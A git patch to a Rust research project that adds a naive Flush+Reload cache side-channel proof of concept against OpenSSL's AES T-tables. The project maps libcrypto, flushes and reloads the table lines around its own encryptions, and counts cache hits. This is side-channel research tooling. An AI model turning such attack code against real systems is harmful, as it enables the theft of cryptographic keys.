From 0819eef0c0e6a2ff6e6ba84029efb144efbef3b0 Mon Sep 17 00:00:00 2001 From: GuillaumeDIDIER Date: Wed, 19 Aug 2020 10:07:48 +0200 Subject: [PATCH] First version of aes T table attack - using flush and reload naively --- Cargo.lock | 134 ++++++++++++++++++++++++++ aes-t-tables/.cargo/config | 2 + aes-t-tables/Cargo.toml | 5 + aes-t-tables/cargo.sh | 7 ++ aes-t-tables/src/lib.rs | 190 +++++++++++++++++++++++++++++++++++++ aes-t-tables/src/main.rs | 71 +++++++++++++- 6 files changed, 407 insertions(+), 2 deletions(-) create mode 100644 aes-t-tables/.cargo/config create mode 100755 aes-t-tables/cargo.sh diff --git a/Cargo.lock b/Cargo.lock index 70c91a6..fe1eba5 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3,6 +3,13 @@ [[package]] name = "aes-t-tables" version = "0.1.0" +dependencies = [ + "cache_utils 0.1.0", + "memmap2 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)", + "openssl 0.10.30 (registry+https://github.com/rust-lang/crates.io-index)", + "openssl-sys 0.9.58 (registry+https://github.com/rust-lang/crates.io-index)", + "rand 0.7.3 (registry+https://github.com/rust-lang/crates.io-index)", +] [[package]] name = "ahash" @@ -100,6 +107,29 @@ name = "either" version = "1.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "foreign-types-shared 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" + +[[package]] +name = "getrandom" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)", + "libc 0.2.69 (registry+https://github.com/rust-lang/crates.io-index)", + "wasi 0.9.0+wasi-snapshot-preview1 (registry+https://github.com/rust-lang/crates.io-index)", +] + [[package]] name = "hashbrown" version = "0.8.0" @@ -146,6 +176,14 @@ dependencies = [ "scopeguard 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)", ] +[[package]] +name = "memmap2" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "libc 0.2.69 (registry+https://github.com/rust-lang/crates.io-index)", +] + [[package]] name = "nix" version = "0.17.0" @@ -158,6 +196,36 @@ dependencies = [ "void 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)", ] +[[package]] +name = "openssl" +version = "0.10.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "bitflags 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)", + "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)", + "foreign-types 0.3.2 (registry+https://github.com/rust-lang/crates.io-index)", + "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)", + "libc 0.2.69 (registry+https://github.com/rust-lang/crates.io-index)", + "openssl-sys 0.9.58 (registry+https://github.com/rust-lang/crates.io-index)", +] + +[[package]] +name = "openssl-sys" +version = "0.9.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "autocfg 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)", + "cc 1.0.50 (registry+https://github.com/rust-lang/crates.io-index)", + "libc 0.2.69 (registry+https://github.com/rust-lang/crates.io-index)", + "pkg-config 0.3.18 (registry+https://github.com/rust-lang/crates.io-index)", + "vcpkg 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)", +] + +[[package]] +name = "pkg-config" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" + [[package]] name = "polling_serial" version = "0.1.0" @@ -167,6 +235,48 @@ dependencies = [ "x86_64 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)", ] +[[package]] +name = "ppv-lite86" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" + +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "getrandom 0.1.14 (registry+https://github.com/rust-lang/crates.io-index)", + "libc 0.2.69 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_chacha 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_hc 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "ppv-lite86 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)", + "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "getrandom 0.1.14 (registry+https://github.com/rust-lang/crates.io-index)", +] + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)", +] + [[package]] name = "scopeguard" version = "1.1.0" @@ -190,6 +300,11 @@ name = "static_assertions" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" +[[package]] +name = "vcpkg" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" + [[package]] name = "vga_buffer" version = "0.1.0" @@ -209,6 +324,11 @@ name = "volatile" version = "0.2.6" source = "registry+https://github.com/rust-lang/crates.io-index" +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" + [[package]] name = "x86_64" version = "0.11.0" @@ -230,17 +350,31 @@ dependencies = [ "checksum cc 1.0.50 (registry+https://github.com/rust-lang/crates.io-index)" = "95e28fa049fda1c330bcf9d723be7663a899c4679724b34c81e9f5a326aab8cd" "checksum cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)" = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822" "checksum either 1.5.3 (registry+https://github.com/rust-lang/crates.io-index)" = "bb1f6b1ce1c140482ea30ddd3335fc0024ac7ee112895426e0a629a6c20adfe3" +"checksum foreign-types 0.3.2 (registry+https://github.com/rust-lang/crates.io-index)" = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +"checksum foreign-types-shared 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" +"checksum getrandom 0.1.14 (registry+https://github.com/rust-lang/crates.io-index)" = "7abc8dd8451921606d809ba32e95b6111925cd2906060d2dcc29c070220503eb" "checksum hashbrown 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ab9b7860757ce258c89fd48d28b68c41713e597a7b09e793f6c6a6e2ea37c827" "checksum itertools 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)" = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b" "checksum lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" "checksum libc 0.2.69 (registry+https://github.com/rust-lang/crates.io-index)" = "99e85c08494b21a9054e7fe1374a732aeadaff3980b6990b94bfd3a70f690005" "checksum linked_list_allocator 0.8.4 (registry+https://github.com/rust-lang/crates.io-index)" = "e70e46c13c0e8374c26cec5752e3347ca1087d9711de8f45aa513a7700efd73d" "checksum lock_api 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "79b2de95ecb4691949fea4716ca53cdbcfccb2c612e19644a8bad05edcf9f47b" +"checksum memmap2 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "d9b70ca2a6103ac8b665dc150b142ef0e4e89df640c9e6cf295d189c3caebe5a" "checksum nix 0.17.0 (registry+https://github.com/rust-lang/crates.io-index)" = "50e4785f2c3b7589a0d0c1dd60285e1188adac4006e8abd6dd578e1567027363" +"checksum openssl 0.10.30 (registry+https://github.com/rust-lang/crates.io-index)" = "8d575eff3665419f9b83678ff2815858ad9d11567e082f5ac1814baba4e2bcb4" +"checksum openssl-sys 0.9.58 (registry+https://github.com/rust-lang/crates.io-index)" = "a842db4709b604f0fe5d1170ae3565899be2ad3d9cbc72dedc789ac0511f78de" +"checksum pkg-config 0.3.18 (registry+https://github.com/rust-lang/crates.io-index)" = "d36492546b6af1463394d46f0c834346f31548646f6ba10849802c9c9a27ac33" +"checksum ppv-lite86 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)" = "237a5ed80e274dbc66f86bd59c1e25edc039660be53194b5fe0a482e0f2612ea" +"checksum rand 0.7.3 (registry+https://github.com/rust-lang/crates.io-index)" = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +"checksum rand_chacha 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)" = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +"checksum rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)" = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +"checksum rand_hc 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" "checksum scopeguard 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" "checksum spin 0.5.2 (registry+https://github.com/rust-lang/crates.io-index)" = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" "checksum spinning_top 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "32d801a3a53bcf5071f85fef8d5cab9e5f638fc5580a37e6eb7aba4b37438d24" "checksum static_assertions 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" +"checksum vcpkg 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)" = "6454029bf181f092ad1b853286f23e2c507d8e8194d01d92da4a55c274a5508c" "checksum void 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)" = "6a02e4885ed3bc0f2de90ea6dd45ebcbb66dacffe03547fadbb0eeae2770887d" "checksum volatile 0.2.6 (registry+https://github.com/rust-lang/crates.io-index)" = "6af0edf5b4faacc31fc51159244d78d65ec580f021afcef7bd53c04aeabc7f29" +"checksum wasi 0.9.0+wasi-snapshot-preview1 (registry+https://github.com/rust-lang/crates.io-index)" = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" "checksum x86_64 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)" = "365de37eb7c6da582cbb510dd0f3f1235d24ff6309a8a96e8a9909cc9bfd608f" diff --git a/aes-t-tables/.cargo/config b/aes-t-tables/.cargo/config new file mode 100644 index 0000000..2f05654 --- /dev/null +++ b/aes-t-tables/.cargo/config @@ -0,0 +1,2 @@ +[build] +target = "x86_64-unknown-linux-gnu" diff --git a/aes-t-tables/Cargo.toml b/aes-t-tables/Cargo.toml index e9fd357..230801f 100644 --- a/aes-t-tables/Cargo.toml +++ b/aes-t-tables/Cargo.toml @@ -7,3 +7,8 @@ edition = "2018" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +openssl-sys = "0.9.58" +openssl = "0.10.30" +cache_utils = { path = "../cache_utils" } +memmap2 = "0.1.0" +rand = "0.7.3" diff --git a/aes-t-tables/cargo.sh b/aes-t-tables/cargo.sh new file mode 100755 index 0000000..8b36e48 --- /dev/null +++ b/aes-t-tables/cargo.sh @@ -0,0 +1,7 @@ +#/bin/bash +export OPENSSL_DIR=$(readlink -f ../../../openssl) +export X86_64_UNKNOWN_LINUX_GNU_OPENSSL_DIR=$OPENSSL_DIR +export PKG_CONFIG_PATH=$OPENSSL_DIR +export X86_64_UNKNOWN_LINUX_GNU_PKG_CONFIG_PATH=$OPENSSL_DIR +export LD_LIBRARY_PATH=$OPENSSL_DIR +cargo "$@" diff --git a/aes-t-tables/src/lib.rs b/aes-t-tables/src/lib.rs index c9b07b8..a89eadc 100644 --- a/aes-t-tables/src/lib.rs +++ b/aes-t-tables/src/lib.rs @@ -1,3 +1,15 @@ +use openssl::aes; + +use crate::CacheStatus::Hit; +use memmap2::Mmap; +use openssl::aes::aes_ige; +use openssl::symm::Mode; +use std::collections::HashMap; +use std::fmt::Debug; +use std::fs::File; +use std::path::Path; +use std::sync::Arc; + // Generic AES T-table attack flow // Modularisation : @@ -19,3 +31,181 @@ // an attacker measurement // a calibration victim + +#[derive(Debug, PartialEq, Eq)] +pub enum CacheStatus { + Hit, + Miss, +} + +pub enum SideChannelError { + NeedRecalibration, + FatalError(T), +} + +/* +pub enum CacheSideChannel { + SingleAddr, + MultipleAddr, +} +*/ + +// Access Driven + +pub trait SimpleCacheSideChannel { + // TODO +} + +pub trait TableCacheSideChannel { + type ChannelFatalError: Debug; + fn attack<'a, 'b, 'c>( + &'a mut self, + addresses: impl IntoIterator, + victim: &'c dyn Fn(), + ) -> Result, Self::ChannelFatalError>; +} + +pub trait SingleAddrCacheSideChannel: Debug { + type ChannelFatalError: Debug; + + fn test( + &mut self, + addr: *const u8, + ) -> Result>; + fn prepare(&mut self, addr: *const u8); + fn victim(&mut self, operation: &dyn Fn()); + fn calibrate( + &mut self, + addresses: impl IntoIterator, + ) -> Result<(), Self::ChannelFatalError>; +} + +/* +pub trait MultipleAddrCacheSideChannel: Debug { + type ChannelFatalError: Debug; + fn test<'a>( + &self, + addresses: impl IntoIterator, + ) -> Result, SideChannelError>; + fn prepare<'a>(addresses: impl IntoIterator); + fn victim(&self, operation: Box T>) -> T; + fn recalibrate(self) -> Result; + fn calibrate<'a>( + params: Self::Params, + addresses: impl IntoIterator, + ) -> Result; +} +*/ + +impl TableCacheSideChannel for T { + type ChannelFatalError = T::ChannelFatalError; + + fn attack<'a, 'b, 'c>( + &'a mut self, + addresses: impl IntoIterator, + victim: &'c dyn Fn(), + ) -> Result, Self::ChannelFatalError> { + let mut result = Vec::new(); + + for addr in addresses { + self.prepare(addr); + self.victim(victim); + let r = self.test(addr); + match r { + Ok(status) => { + result.push((addr, status)); + } + Err(e) => match e { + SideChannelError::NeedRecalibration => panic!(), + SideChannelError::FatalError(e) => { + return Err(e); + } + }, + } + } + Ok(result) + } +} + +pub struct AESTTableParams<'a> { + pub num_encryptions: u32, + pub key: [u8; 32], + pub openssl_path: &'a Path, + pub te: [isize; 4], +} + +const LEN: usize = (u8::max_value() as usize) + 1; + +pub fn attack_t_tables_poc( + side_channel: &mut impl TableCacheSideChannel, + parameters: AESTTableParams, +) -> () { + // Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing) + // TODO + + // Possible enhancements : use ability to monitor several addresses simultaneously. + let fd = File::open(parameters.openssl_path).unwrap(); + let mmap = unsafe { Mmap::map(&fd).unwrap() }; + let base = mmap.as_ptr(); + + let te0 = unsafe { base.offset(parameters.te[0]) }; + if unsafe { (te0 as *const u64).read() } != 0xf87c7c84c66363a5 { + panic!("Hmm This does not look like a T-table, check your address and the openssl used") + } + + let key_struct = aes::AesKey::new_encrypt(¶meters.key).unwrap(); + + //let mut plaintext = [0u8; 16]; + //let mut result = [0u8; 16]; + + let mut timings: HashMap<*const u8, HashMap> = HashMap::new(); + + let addresses = parameters + .te + .iter() + .map(|&start| ((start)..(start + 64 * 16)).step_by(64)) + .flatten() + .map(|offset| unsafe { base.offset(offset) }); + + for addr in addresses.clone() { + timings.insert(addr, HashMap::new()); + } + + for b in (u8::min_value()..=u8::max_value()).step_by(16) { + //plaintext[0] = b; + eprintln!("Probing with b = {:x}", b); + // fixme magic numbers + + let victim = || { + let mut plaintext = [0u8; 16]; + plaintext[0] = b; + for i in 1..plaintext.len() { + plaintext[i] = rand::random(); + } + let mut iv = [0u8; 32]; + let mut result = [0u8; 16]; + aes_ige(&plaintext, &mut result, &key_struct, &mut iv, Mode::Encrypt); + }; + for i in 0..parameters.num_encryptions { + let r = side_channel.attack(addresses.clone(), &victim); + match r { + Ok(v) => { + //println!("{:?}", v) + for (probe, status) in v { + if status == Hit { + *timings.get_mut(&probe).unwrap().entry(b).or_insert(0) += 1; + } + } + } + Err(_) => panic!("Attack failed"), + } + } + } + for probe in addresses { + print!("{:p}", probe); + for b in (u8::min_value()..=u8::max_value()).step_by(16) { + print!(" {}", timings[&probe][&b]); + } + println!(); + } +} diff --git a/aes-t-tables/src/main.rs b/aes-t-tables/src/main.rs index e7a11a9..b9f4a8d 100644 --- a/aes-t-tables/src/main.rs +++ b/aes-t-tables/src/main.rs @@ -1,3 +1,70 @@ -fn main() { - println!("Hello, world!"); +use aes_t_tables::{ + attack_t_tables_poc, AESTTableParams, CacheStatus, SideChannelError, SingleAddrCacheSideChannel, +}; +use cache_utils::calibration::only_reload; +use cache_utils::{flush, rdtsc_fence}; +use std::path::Path; + +#[derive(Debug)] +struct NaiveFlushAndReload { + pub threshold: u64, + current: Option<*const u8>, +} + +impl NaiveFlushAndReload { + fn from_threshold(threshold: u64) -> Self { + NaiveFlushAndReload { + threshold, + current: None, + } + } +} + +impl SingleAddrCacheSideChannel for NaiveFlushAndReload { + type ChannelFatalError = (); + + fn test( + &mut self, + addr: *const u8, + ) -> Result> { + if self.current != Some(addr) { + panic!(); // FIXME + } + let t = unsafe { only_reload(addr) }; + if t > self.threshold { + Ok(CacheStatus::Miss) + } else { + Ok(CacheStatus::Hit) + } + } + + fn victim(&mut self, operation: &dyn Fn()) { + operation() + } + + fn calibrate( + &mut self, + _addresses: impl IntoIterator, + ) -> Result<(), Self::ChannelFatalError> { + Ok(()) + } + + fn prepare(&mut self, addr: *const u8) { + unsafe { flush(addr) }; + self.current = Some(addr); + } +} + +fn main() { + let open_sslpath = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so"); + let mut side_channel = NaiveFlushAndReload::from_threshold(200); + attack_t_tables_poc( + &mut side_channel, + AESTTableParams { + num_encryptions: 10000, + key: [0; 32], + te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order) + openssl_path: &open_sslpath, + }, + ); }